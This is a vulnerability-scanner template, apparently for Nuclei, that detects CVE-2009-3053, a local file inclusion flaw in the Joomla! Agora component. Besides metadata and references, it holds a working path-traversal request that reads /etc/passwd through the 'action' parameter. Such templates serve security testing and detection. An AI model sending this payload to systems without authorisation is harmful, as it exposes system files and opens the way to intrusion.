id: CVE-2009-3053

info:
  name: Joomla! Agora 3.0.0b - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Joomla! Agora 3.0.0b (com_agora) allows remote attackers to include and execute arbitrary local files via local file inclusion in the action parameter to the avatars page, reachable through index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Joomla! Agora to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/9564
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/52964
    - https://nvd.nist.gov/vuln/detail/CVE-2009-3053
    - http://www.exploit-db.com/exploits/9564
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2009-3053
    cwe-id: CWE-22
    epss-score: 0.05925
    epss-percentile: 0.92307
    cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla
  tags: cve2009,cve,joomla,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_agora&task=profile&page=avatars&action=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402204c7f4539eadf802199fb0e38855f0e887cad9825dbf7b0eb0ff432238604bf7202205d88e6ef5f5c0625c2c88f0dbad84bffb8b500e1102a3b215b4f7c6e7a4ed978:922c64590222798bb761d5b6d8e72950